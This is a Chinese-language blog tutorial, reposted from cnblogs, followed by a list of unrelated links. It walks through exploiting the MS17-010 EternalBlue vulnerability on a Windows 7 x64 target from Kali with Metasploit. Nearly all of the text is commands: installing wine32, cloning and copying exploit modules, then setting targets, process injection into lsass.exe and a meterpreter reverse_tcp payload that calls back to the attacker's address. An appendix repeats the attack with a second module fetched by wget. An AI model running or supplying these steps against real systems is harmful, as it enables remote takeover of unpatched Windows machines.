kali linux安装wine32,永恒之蓝msf下 ms17_010 (64位kali下安装wine32)
本次用到的环境:
kali(2016.2)32位系统.ip地址:192.168.1.104
目标靶机为:win7sp1x64系统(关闭防火墙),ip地址:192.168.1.105
=================================
若kali为64位
windows为32
需要安装wine32 ,但64位的kali下无法apt-get install wine32
在执行exploit时会出现 :
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute "dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32"
按照上面的方法dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32即可
=================================
具体的步骤如下:
kali系统下安装wine32:
apt-get install wine32
用wine32执行cmd.exe
wine cmd.exe
exit //退出
git clone下载其利用脚本:
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb
cd Eternalblue-Doublepulsar-Metasploit/
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
启动msf,然后进行一系列设置:
service postgresql start
msfconsole
search eternalblue
use exploit/windows/smb/eternalblue_doublepulsar
set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set PROCESSINJECT lsass.exe
set TARGETARCHITECTURE x64
set rhost 192.168.1.105
show targets
set target 9
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.1.104
exploit
附录:
msf下的ms17-010模块:
前提条件:
1. gem install ruby_smb #ruby_smb模块安装
2.msfupdate #msf的更新
3.msfconsole -qx "use exploit/windows/smb/ms17_010_eternalblue" #启动并加载模块
root@backlion:/opt# wget https://raw.githubusercontent.com/backlion/metasploit-framework/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
root@backlion:/opt# cp ms17_010_eternalblue.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb
Use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.8
msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.21
msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) >exploit
Meterpreter> sysinfo
转载:https://www.cnblogs.com/backlion/p/6804863.html
kali linux安装wine32,永恒之蓝msf下 ms17_010 (64位kali下安装wine32)相关推荐
- python2.7安装教程win7_win7 64位环境下,为python2.7 安装pip
第一步: 安装python并配置好环境变量 第二步: 下载setuptools源码setuptools-38.5.1.zip,地址:https://pypi.python.org/pypi/setup ...
- [Linux] 解决Ubuntu12.10 64位google chrome安装Flash后出现couldn‘t load plug-in的问题;
[Linux] 解决Ubuntu12.10 64位google chrome安装Flash后出现couldn't load plug-in的问题: 参考文章: (1)[Linux] 解决Ubuntu1 ...
- linux ubuntu安装教程6,64位Ubuntu下安装IE6步骤
64位Ubuntu下安装IE6步骤 ies4linux下载地址: cabextract下载地址: wine1.0下载地址: cab文件及字体下载地址: simsun.ttc下载地址: adobe fl ...
- windows 64位mysql5.7安装
windows 64位mysql5.7安装 一.安装mysql 1.下载mysql-5.7.15-winx64.zip http://dev.mysql.com/downloads/mysql/ 2. ...
- 64位Ubuntu上 安装32位QQ
64位Ubuntu上 安装32位QQ --------------------------------------------------------------------------------- ...
- 64位ubuntu能安装mysql,在ubuntu14.04 64位虚拟机中安装mysql
因为在win10 系统上手贱的将mysql卸载掉了之后有个插件一直无法正常删除导致只能将mysql装到ubuntu虚拟机上, 宝宝心里都是累啊,所以记录下来自己的安装过程2333 命令行操作: &qu ...
- win10+64位+python3.4安装scrapy
win10+64位+python3.4安装Scrapy 分析 想学习scrapy,所以网上找资料来安装.问题有不少. 1.一般大家用linux而不是Windows 2.一般大家用python2.7而不 ...
- SecureCRT and SecureFX 8.5 安装破解版(附注册机+破解教程) 64位
securecrt8破解版是一款终端仿真程序,该程序可以让你在windows系统中登陆UNIX或Linux的服务器主机并实现管理设置,十分的强大.在最新的8.3版本中,软件已经可以支持包括SSH2.S ...
- SecureCRT and SecureFX 8.0 安装破解版(附注册机+破解教程) 64位
文章转载链接:https://www.jb51.net/softs/571793.html SecureCRT下载地址在原文处有下载 securecrt8.0破解版是一款终端仿真程序,该程序可以让你在 ...
最新文章
- python中if错误-Python中常见的异常处理
- ExtJS4为form表单必填项添加红色*标识
- 【转】Linux下gcc编译生成动态链接库*.so文件并调用它
- 【Flink】Flink 源码之 安全认证 kerberos 认证
- Python md5 sha1 的使用
- 从零开始徒手撸一个vue的toast弹窗组件
- 录音整理文字工具otranscribe简介
- iOS 中关于 skip install
- E4/EAS/Eventing System 事件系统
- websphere一直安装部署_构建独立部署系统,从部署规范开始
- 5万字、97 张图总结操作系统核心知识点
- 递归回溯求解数独 C++实现方法
- 陈省身文集53——大范围微分几何若干新观点
- VPS与云主机指南:了解五个主要区别
- 《修炼之道:互联网产品从设计到运营》荣获“2012最受读者喜爱的IT人文类图书奖”!
- 新星计划、原力计划新动态,大波的奖牌来袭速来领取
- C++ 求幂函数pow()的输出问题
- 单片机中断实验2 EX0
- 宝塔Linux面板安装命令脚本大全(Centos/Ubuntu/Debian/Fedora/Deepin)
- X3D爱好者QQ群:47542302
热门文章
- NVIDIA空中导航SDK改造5G通信
- Java 参数后面跟三个... 的作用
- onAttach 显示过时的处理方法
- Android Intent hasExtra()方法的使用
- ABAP 程序间的调用
- 深入浅出的webpack构建工具---DllPlugin DllReferencePlugin提高构建速度(七)
- Usage and Idioms——Categories
- 一个用于录制用户输入操作并实时回放的小工具
- js 判断js,css是否引入,确保不重复引入
- 动态环境下的SLAM:DynaSLAM 论文学习笔记